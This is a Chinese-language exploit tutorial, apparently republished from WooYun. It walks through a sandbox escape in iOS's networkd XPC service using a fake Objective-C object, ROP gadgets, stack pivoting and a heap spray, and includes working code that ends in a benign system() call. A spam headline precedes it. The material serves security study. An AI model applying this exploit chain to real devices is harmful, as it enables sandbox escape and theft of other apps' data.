自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

iOS冰與火之歌–利用XPC過(guò)sandbox

移動(dòng)開(kāi)發(fā) iOS
這篇文章我們介紹了如何利用XPC突破沙盒,進(jìn)行堆噴,控制系統(tǒng)服務(wù)的PC,并且利用ROP進(jìn)行stack pivot,然后執(zhí)行system指令。

0x00 序

冰指的是用戶(hù)態(tài),火指的是內(nèi)核態(tài)。如何突破像冰箱一樣的用戶(hù)態(tài)沙盒最終到達(dá)并控制如火焰一般燃燒的內(nèi)核就是《iOS冰與火之歌》這一系列文章將要講述的內(nèi)容。這次給大家?guī)?lái)的是利用XPC突破app沙盒,并控制其他進(jìn)程的pc(program counter)執(zhí)行system指令。

《iOS冰與火之歌》系列的目錄如下:

  1. Objective-C Pwn and iOS arm64 ROP
  2. 在非越獄的iOS上進(jìn)行App Hook(番外篇)
  3. App Hook答疑以及iOS 9砸殼(番外篇)
  4. 利用XPC過(guò)App沙盒

0x01 什么是XPC

在iOS上有很多IPC(內(nèi)部進(jìn)程通訊)的方法,最簡(jiǎn)單最常見(jiàn)的IPC就是URL Schemes,也就是app之間互相調(diào)起并且傳送簡(jiǎn)單字符的一種機(jī)制。比如我用 [[UIApplication sharedApplication] openURL:url] 這個(gè)api再配合" alipay:// ", “ wechat:// ”等url,就可以調(diào)起支付寶或者微信。

今天要講的XPC比URLScheme要稍微復(fù)雜一點(diǎn)。XPC也是iOS IPC的一種,通過(guò)XPC,app可以與一些系統(tǒng)服務(wù)進(jìn)行通訊,并且這些系統(tǒng)服務(wù)一般都是在沙盒外的,如果我們可以通過(guò)IPC控制這些服務(wù)的話(huà),也就成功的做到沙盒逃逸了。App在沙盒內(nèi)可以通過(guò)XPC訪問(wèn)的服務(wù)大概有三四十個(gè),數(shù)量還是非常多的。

想要與這些XPC服務(wù)通訊我們需要?jiǎng)?chuàng)建一個(gè)XPC client,傳輸?shù)膬?nèi)容要與XPC service接收的內(nèi)容對(duì)應(yīng)上,比如系統(tǒng)服務(wù)可能會(huì)開(kāi)這樣一個(gè)XPC service:

  1. #!objc  
  2. xpc_connection_t listener = xpc_connection_create_mach_service("com.apple.xpc.example",  
  3.                                                                NULL, XPC_CONNECTION_MACH_SERVICE_LISTENER);  
  4.     xpc_connection_set_event_handler(listener, ^(xpc_object_t peer) {  
  5.         // Connection dispatch  
  6.         xpc_connection_set_event_handler(peer, ^(xpc_object_t event) {  
  7.             // Message dispatch  
  8.             xpc_type_t type = xpc_get_type(event);  
  9.             if (type == XPC_TYPE_DICTIONARY){  
  10.                 //Message handler  
  11.             }  
  12.         });  
  13.         xpc_connection_resume(peer);  
  14.     });  
  15.     xpc_connection_resume(listener); 

如果我們可以在沙盒內(nèi)進(jìn)行訪問(wèn)的話(huà),我們可以通過(guò)建立XPC的客戶(hù)端進(jìn)行連接:

  1. #!objc  
  2. xpc_connection_t client = xpc_connection_create_mach_service("com.apple.xpc.example",  
  3.                                                                NULL, 0);  
  4.     xpc_connection_set_event_handler(client, ^(xpc_object_t event) {  
  5.     });  
  6.     xpc_connection_resume(client);  
  7.     xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);  
  8.     xpc_dictionary_set_uint64 (message, "value", 0);  
  9.     xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, message); 

運(yùn)行上述程序后,在server端那邊就可以收到client端的消息了。

我們知道,xpc傳輸?shù)钠鋵?shí)就是一段二進(jìn)制數(shù)據(jù)。比如我們傳輸?shù)膞pc_dictionary是這樣的:

實(shí)際傳輸?shù)臄?shù)據(jù)確是這樣的(通過(guò)lldb,然后

  1. break set --name _xpc_serializer_get_dispatch_mach_msg

就可以看到):

可以看到這些傳輸?shù)臄?shù)據(jù)都經(jīng)過(guò)序列化轉(zhuǎn)換成二進(jìn)制data,然后等data傳遞到系統(tǒng)service的服務(wù)端以后,再通過(guò)反序列化函數(shù)還原回原始的數(shù)據(jù)。

我們知道正常安裝后的app是mobile權(quán)限,但是被sandbox限制在了一個(gè)狹小的空間里。如果系統(tǒng)服務(wù)在接收XPC消息的時(shí)候出現(xiàn)了問(wèn)題,比如Object Dereference漏洞等,就可能讓client端控制server端的pc寄存器,從而利用rop執(zhí)行任意指令。雖然大多數(shù)系統(tǒng)服務(wù)也是mobile權(quán)限,但是大多數(shù)系統(tǒng)服務(wù)并沒(méi)有被sandbox,因此就可以擁有讀取或修改大多數(shù)文件的權(quán)限或者是執(zhí)行一些能夠訪問(wèn)kernel的api從而觸發(fā)panic。
0x02 Com.apple.networkd Object Dereference漏洞分析

Com.apple.networkd 是一個(gè)app沙盒內(nèi)可達(dá)的xpc系統(tǒng)服務(wù)。這個(gè)服務(wù)對(duì)應(yīng)的binary是/usr/libexec/networkd。我們可以通過(guò)ps看到這個(gè)服務(wù)的權(quán)限是_networkd:

雖然沒(méi)有root權(quán)限,但是也幾乎可以做到沙盒外任意文件讀寫(xiě)了。在iOS 8.1.3及之前版本,這個(gè)XPC系統(tǒng)服務(wù)存在Object Dereference漏洞,這個(gè)漏洞是由Google Project Zero的IanBeer發(fā)現(xiàn)的,但他給的poc只是Mac OS X上的,并且hardcode了很多地址。而本篇文章將以iphone 4s, arm32, 7.1.1為測(cè)試機(jī),一步一步講解如何找到這些hardcode的地址和gadgets,并利用這個(gè)漏洞做到app的沙盒逃逸。

問(wèn)題出在com.apple.networkd這個(gè)服務(wù)的 char *__fastcall sub_A878(int a1) 這個(gè)函數(shù)中,對(duì)傳入的” effective_audit_token ”這個(gè)值沒(méi)有做類(lèi)型校驗(yàn),就直接當(dāng)成xpc_data這種數(shù)據(jù)類(lèi)型進(jìn)行解析了:

然而如果我們傳過(guò)去的值并不是一個(gè)xpc_data,networkd也會(huì)當(dāng)這個(gè)值是一個(gè)xpc_data,并傳給 _xpc_data_get_bytes_ptr() 來(lái)進(jìn)行解析:

解析完成后,無(wú)論這個(gè)對(duì)象是否符合service程序的預(yù)期,程序都會(huì)調(diào)用 _dispatch_objc_release() 這個(gè)函數(shù)來(lái)release這個(gè)對(duì)象。因此,我們就想到了是否可以偽造一個(gè)objective-C的對(duì)象,同時(shí)將這個(gè)對(duì)象的release()函數(shù)給加入到cache里,這樣的話(huà),在程序release這個(gè)對(duì)象的時(shí)候,就可以控制pc指針指向我們想要執(zhí)行的ROP指令了。

是的,這個(gè)想法是可行的。首先我們要做的是根據(jù)數(shù)據(jù)傳輸?shù)膮f(xié)議(通過(guò)反編譯networkd得到)構(gòu)造相應(yīng)的xpc數(shù)據(jù):

  1. #!objc  
  2. xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);  
  3.  
  4. xpc_dictionary_set_uint64(dict, "type", 6);  
  5. xpc_dictionary_set_uint64(dict, "connection_id", 1);  
  6.  
  7. xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);  
  8. xpc_object_t conn_list = xpc_array_create(NULL, 0);  
  9.  
  10. xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0);  
  11. xpc_dictionary_set_string(arr_dict, "hostname", "example.com");  
  12.  
  13. xpc_array_append_value(conn_list, arr_dict);  
  14. xpc_dictionary_set_value(params, "connection_entry_list", conn_list);  
  15.  
  16. uint32_t uuid[] = {0x0, 0x1fec000};  
  17. xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid);  
  18.  
  19. xpc_dictionary_set_uint64(params, "start", 0);  
  20. xpc_dictionary_set_uint64(params, "duration", 0);  
  21.  
  22. xpc_dictionary_set_value(dict, "parameters", params);  
  23.  
  24. xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0);  
  25. xpc_dictionary_set_int64(state, "power_slot", 0);  
  26. xpc_dictionary_set_value(dict, "state", state); 

隨后我們可以使用 NSLog(@"%@",dict); 將我們構(gòu)造好以后的xpc數(shù)據(jù)打印出來(lái):

除了effective_audit_token以外的其他數(shù)據(jù)都是正常的。為了攻擊這個(gè)系統(tǒng)服務(wù),我們把 effective_audit_token 的值用 xpc_dictionary_set_uuid 設(shè)置為 {0x0, 0x1fec000}; 。0x1fec000這個(gè)地址保存的將會(huì)是我們偽造的Objective-C對(duì)象。構(gòu)造完xpc數(shù)據(jù)后,我們就可以將數(shù)據(jù)發(fā)送到networkd服務(wù)端觸發(fā)漏洞了。但如何構(gòu)造一個(gè)偽造的ObjectC對(duì)象,以及如何將偽造的對(duì)象保存到這個(gè)地址呢?請(qǐng)繼續(xù)看下一章。
0x03 構(gòu)造fake Objective-C對(duì)象以及Stack Pivot

首先我們需要通過(guò)偽造一個(gè)fake Objective-C對(duì)象和構(gòu)造一個(gè)假的cache來(lái)控制pc指針。這個(gè)技術(shù)我們已經(jīng)在《iOS冰與火之歌 – Objective-C Pwn and iOS arm64 ROP》中介紹了。簡(jiǎn)單說(shuō)一下思路:

第一步,我們需要找到selector在內(nèi)存中的地址,這個(gè)問(wèn)題可以使用 NSSelectorFromString() 這個(gè)系統(tǒng)自帶的API來(lái)解決,比如我們需要用到”release”這個(gè)selector的地址,就可以使用 NSSelectorFromString(@"release") 來(lái)獲取。

第二步,我們要構(gòu)建一個(gè)假的receiver,假的receiver里有一個(gè)指向假的objc_class的指針,假的objc_class里又保存了假的cache_buckets的指針和mask。假的cache_buckets的指針最終指向我們將要偽造的selector和selector函數(shù)的地址。這個(gè)偽造的函數(shù)地址就是我們要執(zhí)行的ROP鏈的起始地址。

最終代碼如下:

  1. #!objc  
  2. hs->fake_objc_class_ptr = &hs->fake_objc_class;  
  3. hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;  
  4. hs->fake_objc_class.cache_bucket_mask = 0;  
  5. hs->fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");  
  6. hs->fake_cache_bucket.cached_function = start address of ROP chain 

既然通過(guò)fake Objective-C對(duì)象,我們控制了xpc service的pc,我們就可以在sandbox外做些事情了。但因?yàn)镈EP的關(guān)系,如果我們沒(méi)有給kernel打patch,我們并不能執(zhí)行任意的shellcode。因此我們需要用ROP來(lái)達(dá)到我們的目的。雖然program image,library,堆和棧等都是隨機(jī),但好消息是 dyld_shared_cache 這個(gè)共享緩存的地址開(kāi)機(jī)后是固定的,并且每個(gè)進(jìn)程的 dyld_shared_cache 都是相同的。這個(gè) dyld_shared_cache 有好幾百M(fèi)大,基本上可以滿(mǎn)足我們對(duì)gadgets的需求。因此我們只要在自己的進(jìn)程獲取 dyld_shared_cache 的基址就能夠計(jì)算出目標(biāo)進(jìn)程gadgets的位置。

dyld_shared_cache 文件一般保存在/System/Library/Caches/com.apple.dyld/這個(gè)目錄下。我們下載下來(lái)以后,可以使用jtool將里面的dylib提取出來(lái)。比如我們想要提取CoreFoundation這個(gè)framework,就可以使用:

jtool -extract CoreFoundation ./dyld_shared_cache_armv7

隨后就可以用ROPgadget這個(gè)工具來(lái)搜索gadget了。如果是arm32位的話(huà),記得加上thumb模式,不然默認(rèn)是按照arm模式搜索的,gadget會(huì)少很多:

ROPgadget --binary ./dyld_shared_cache_armv7.CoreFoundation --rawArch=arm --rawMode=thumb

接下來(lái)我們需要找到一個(gè)用來(lái)做stack pivot的gadget,因?yàn)槲覀儎傞_(kāi)始只控制了有限的幾個(gè)寄存器,并且棧指針指向的地址也不是我們可以控制的,如果我們想控制更多的寄存器并且持續(xù)控制pc的話(huà),就需要使用stack pivot gadget將棧指針指向一段我們可以控制的內(nèi)存地址,然后利用pop指令來(lái)控制更多的寄存器以及PC。另一點(diǎn)要注意的是,如果我們想使用thumb指令,就需要給跳轉(zhuǎn)地址1,因?yàn)閍rm CPU是通過(guò)最低位來(lái)判斷是thumb指令還是arm指令的。我們?cè)趇phone4s 7.1.2上找到的stack pivot gadgets如下:

  1. #!objc  
  2. /*  
  3. __text:2D3B7F78    MOV      SP, R4  
  4. __text:2D3B7F7A    POP.W    {R8,R10}  
  5. __text:2D3B7F7E    POP      {R4-R7,PC}  
  6. */  
  7.  
  8. hs->stack_pivotCoreFoundation_base + 0x4f78 + 1;  
  9. NSLog(@"hs->stack_pivot  = 0x%08x", (uint32_t)(CoreFoundation_base + 0x4f78)); 

因?yàn)檫M(jìn)行stack pivot需要控制r4寄存器,但最開(kāi)始我們只能控制r0,因此我們先找一個(gè)gadget把r0的值賦給r4,然后再調(diào)用stack pivot gadget:

  1. #!objc  
  2. /*  
  3.     0x2dffc0ee: 0x4604    mov    r4, r0  
  4.     0x2dffc0f0: 0x6da1    ldr    r1, [r4, #0x58]  
  5.     0x2dffc0f2: 0xb129    cbz    r1, 0x2dffc100    ; <+28> 
  6.     0x2dffc0f4: 0x6ce0    ldr    r0, [r4, #0x4c]  
  7.     0x2dffc0f6: 0x4788    blx    r1  
  8. */  
  9. hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x0009e0ee + 1; //fake_struct.stack_pivot_ptr  
  10. NSLog(@"hs->fake_cache_bucket.cached_function  = 0x%08x", (uint32_t)(CoreFoundation_base+0x0009e0ee)); 

經(jīng)過(guò)stack pivot后,我們控制了棧和其他的寄存器,隨后我們就可以調(diào)用想要執(zhí)行的函數(shù)了,比如說(shuō)用system指令執(zhí)行” touch /tmp/iceandfire ”。當(dāng)然我們也需要找到相應(yīng)的gadget,并且在棧上對(duì)應(yīng)的正確地址上放入相應(yīng)寄存器的值:

  1. #!objc  
  2. // 0x00000000000d3842 : mov r0, r4 ; mov r1, r5 ; blx r6  
  3.  
  4. strcpy(hs->command, "touch /tmp/ iceandfire");  
  5. hs->r4=(uint32_t)&hs->command;  
  6. hs->r6=(void *)dlsym(RTLD_DEFAULT, "system");  
  7. hs->pc = CoreFoundation_base+0xd3842+1;  
  8. NSLog(@"hs->pc = 0x%08x", (uint32_t)(CoreFoundation_base+0xd3842)); 

最終我們偽造的Objective-C的結(jié)構(gòu)體構(gòu)造如下:

  1. #!objc  
  2. struct heap_spray {  
  3.     void* fake_objc_class_ptr;  
  4.     uint32_t r10;  
  5.     uint32_t r4;  
  6.     uint32_t r5;  
  7.     uint32_t r6;  
  8.     uint32_t r7;  
  9.     uint32_t pc;  
  10.     uint8_t pad1[0x3c];  
  11.     uint32_t stack_pivot;  
  12.     struct fake_objc_class_t {  
  13.         char pad[0x8];  
  14.         void* cache_buckets_ptr;  
  15.         uint32_t cache_bucket_mask;  
  16.     } fake_objc_class;  
  17.     struct fake_cache_bucket_t {  
  18.         void* cached_sel;  
  19.         void* cached_function;  
  20.     } fake_cache_bucket;  
  21.     char command[1024];  
  22. }; 

0x04 堆噴(Heap Spray)

雖然我們可以利用一個(gè)偽造的Objective-C對(duì)象來(lái)控制networkd。但是我們需要將這個(gè)對(duì)象保存在networkd的內(nèi)存空間中才行,并且因?yàn)锳SLR(地址隨機(jī)化)的原因,我們就算能把偽造的對(duì)象傳輸過(guò)去,也很難計(jì)算出這個(gè)對(duì)象在內(nèi)存中的具體位置。那么應(yīng)該怎么做呢?方法就是堆噴(Heap Spray)。雖然ASLR意味著每次啟動(dòng)服務(wù),program image,library,堆和棧等都是隨機(jī)。但實(shí)際上這個(gè)隨機(jī)并不是完全的隨機(jī),只是在某個(gè)地址范圍內(nèi)的隨機(jī)罷了。因此我們可以利用堆噴在內(nèi)存中噴出一部分空間(盡可能的大,為了能覆蓋到隨機(jī)地址的范圍),然后在里面填充n個(gè)fake Object就可以了。

我進(jìn)行漏洞測(cè)試的環(huán)境是,iPhone4s (arm 32位) 7.1.2,我們選擇了0x1fec000這個(gè)地址,因?yàn)榻?jīng)過(guò)多次堆噴測(cè)試,這個(gè)地址可以達(dá)到將近100%的噴中率。堆噴的代碼如下:

  1. #!objc  
  2. void* heap_spray_target_addr = (void*)0x1fec000;  
  3.  
  4. struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);  
  5. memset(hs, 0x00, 0x1000);  
  6.  
  7. size_t heap_spray_pages = 0x2000;  
  8. size_t heap_spray_bytes = heap_spray_pages * 0x1000;  
  9. char* heap_spray_copies = malloc(heap_spray_bytes);  
  10.  
  11. for (int i = 0; i < heap_spray_pages; i++){  
  12.     memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);  
  13. }  
  14.  
  15. xpc_connection_t client = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);  
  16.  
  17. xpc_connection_set_event_handler(client, ^void(xpc_object_t response) {  
  18.     xpc_type_t t = xpc_get_type(response);  
  19.     if (t == XPC_TYPE_ERROR){  
  20.         printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION));  
  21.     }  
  22.     printf("received an event\n");  
  23.     });  
  24.  
  25.  
  26. xpc_connection_resume(client);  
  27.  
  28. xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);  
  29. xpc_dictionary_set_data(dict, "heap_spray", heap_spray_copies, heap_spray_bytes);  
  30. xpc_connection_send_message(client, dict); 

隨后我們編譯執(zhí)行我們的app,app會(huì)將fake ObjectiveC對(duì)象用堆噴的方式填充到networkd的內(nèi)存中,隨后app會(huì)觸發(fā)object dereference漏洞來(lái)控制pc,隨后app會(huì)利用rop執(zhí)行 system("touch /tmp/iceandfire") 指令。運(yùn)行完app后,我們發(fā)現(xiàn)在/tmp/目錄下已經(jīng)出現(xiàn)了iceandfire這個(gè)文件了,說(shuō)明我們成功突破了沙盒并執(zhí)行了system指令:

 

0x05 總結(jié)

這篇文章我們介紹了如何利用XPC突破沙盒,進(jìn)行堆噴,控制系統(tǒng)服務(wù)的PC,并且利用ROP進(jìn)行stack pivot,然后執(zhí)行system指令。突破沙盒后,雖然不能安裝盜版的app,但一個(gè)app就可以隨心所欲的增刪改查其他app的文件和數(shù)據(jù)了,有種android上root的感覺(jué)。 雖然這個(gè)漏洞已經(jīng)在8.1.3上修復(fù)了,但不代表以后不會(huì)出現(xiàn)類(lèi)似的漏洞。比如我們發(fā)現(xiàn)的這個(gè)iOS 9.3 0day就可以輕松突破最新版的iOS沙盒獲取到其他app的文件

責(zé)任編輯:陳琳 來(lái)源: WooYun知識(shí)庫(kù)
相關(guān)推薦

2019-03-20 10:10:17

互聯(lián)網(wǎng)數(shù)據(jù)技術(shù)

2020-08-26 09:41:49

中國(guó)廣電700MHz5G

2013-07-31 10:49:37

冰與火之歌數(shù)據(jù)挖掘大數(shù)據(jù)

2021-09-26 05:30:37

數(shù)字化轉(zhuǎn)型CIO數(shù)字化

2019-04-18 16:53:33

戴爾

2017-08-17 16:20:48

小程序微信騰訊

2019-04-30 13:45:05

OpenStack云計(jì)算公共云

2015-05-29 13:14:28

4G

2013-11-27 10:41:56

2012-11-05 11:20:31

HTML5FaceBook

2023-04-27 15:39:54

AI模型

2019-12-18 14:15:48

大數(shù)據(jù)互聯(lián)網(wǎng)數(shù)據(jù)

2020-08-12 07:53:39

技術(shù)債技術(shù)科學(xué)

2015-03-03 10:00:39

2022-01-25 10:25:33

IT業(yè)務(wù)轉(zhuǎn)型IT投資

2013-01-22 10:35:46

財(cái)報(bào)電信企業(yè)

2019-10-17 12:54:51

5G4G網(wǎng)絡(luò)運(yùn)營(yíng)商

2021-05-20 12:48:49

IT基礎(chǔ)設(shè)施IT

2019-07-11 15:13:33

AI芯片英偉達(dá)華為

2017-11-02 15:08:23

智能
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)